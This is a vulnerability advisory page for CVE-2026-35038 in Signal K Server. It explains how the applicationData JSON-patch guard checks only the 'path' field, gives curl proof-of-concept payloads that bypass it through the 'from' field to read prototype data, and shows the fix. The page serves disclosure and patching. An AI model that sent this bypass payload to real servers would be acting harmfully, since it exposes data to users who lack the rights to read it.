Monitor vulnerabilities like this one. Sign up free to get alerted when software you use is affected.
2.1

Signal K Server: Unprivileged User Can Read Sensitive Data

CVE-2026-35038 GHSA-qh3j-mrg8-f234
Summary

Signal K Server versions prior to 2.24.0 allow a user with limited access to view sensitive information they shouldn't be able to see. This is a security risk because it could expose confidential data on a boat's systems. Update to version 2.24.0 or later to fix this issue.

What to do
  • Update signalk-server to version 2.24.0.
Affected software
VendorProductAffected versionsFix available
– signalk-server <= 2.24.0 2.24.0
Original title
Signal K Server: Arbitrary Prototype Read via `from` Field Bypass
Original description
## Summary

The /signalk/v1/applicationData/... JSON-patch endpoint allows users to modify stored application data. To prevent Prototype Pollution, the developers implemented an isPrototypePollutionPath guard. However, this guard only checks the path property of incoming JSON-patch objects. It completely fails to check the from property. Because JSON-patch operations like copy and move extract data using the from property path, an attacker can construct a payload where from targets /__proto__/someProperty, completely evading the security check and successfully executing an Arbitrary Prototype Read.

While this does not allow arbitrary code execution (as the destination path remains protected from __proto__), it does allow a user to exfiltrate internal Node functions and prototype state into their own application data.

## Vulnerability Root Cause

File: src/interfaces/applicationData.js (Lines 48-57)
```
const DANGEROUS_PATH_SEGMENTS = ['__proto__', 'constructor', 'prototype']

function isPrototypePollutionPath(pathString) {
const segments = pathString.split(/[./]/)
return segments.some((seg) => DANGEROUS_PATH_SEGMENTS.includes(seg))
}

function hasPrototypePollutionPatch(patches) {
return patches.some(
// [!VULNERABLE] Only checks patch.path, completely ignores patch.from
(patch) => patch.path && isPrototypePollutionPath(patch.path)
)
}
```
At Line 201:
```
if (hasPrototypePollutionPatch(req.body)) {
res.status(400).send('invalid patch path')
return
}
jsonpatch.apply(applicationData, req.body) // jsonpatch natively resolves 'from'

```
## Proof of Concept (PoC)

Verify the Developer Guard Works (The Blocked Payload):
```
curl -X POST http://localhost:3000/signalk/v1/applicationData/global/testapp/1.0 \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '[{"op": "add", "path": "/__proto__/polluted", "value": "hacked"}]'
```
Result: 400 Bad Request - invalid patch path

Execute the Bypass (The Malicious Payload):
```
curl -X POST http://localhost:3000/signalk/v1/applicationData/global/testapp/1.0 \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '[{"op": "copy", "from": "/__proto__/toString", "path": "/stolen"}]'
```
Result: 200 OK - ApplicationData saved The security guard is bypassed and the json-patch engine successfully copies the __proto__ internal function reference.

<img width="1222" height="230" alt="Screenshot 2026-03-24 150440" src="https://github.com/user-attachments/assets/5ae580fd-284f-4bef-adc8-31b50b8751b6" />

## Security Impact
This vulnerability allows a low-privileged authenticated user to bypass prototype boundary filtering to extract internal functions and properties from the global prototype object this violates data isolation and lets a user read more than they should.

## Fixing Arbitrary Prototype Read

The hasPrototypePollutionPatch function must be updated to inspect ALL path-related fields:
```
function hasPrototypePollutionPatch(patches) {
return patches.some(
(patch) =>
(patch.path && isPrototypePollutionPath(patch.path)) ||
(patch.from && isPrototypePollutionPath(patch.from))
)
}
```
nvd CVSS4.0 5.3
Vulnerability type
CWE-20 Improper Input Validation
CWE-125 Out-of-bounds Read
CWE-200 Information Exposure
Published: 3 Apr 2026 · Updated: 3 Apr 2026 · First seen: 2 Apr 2026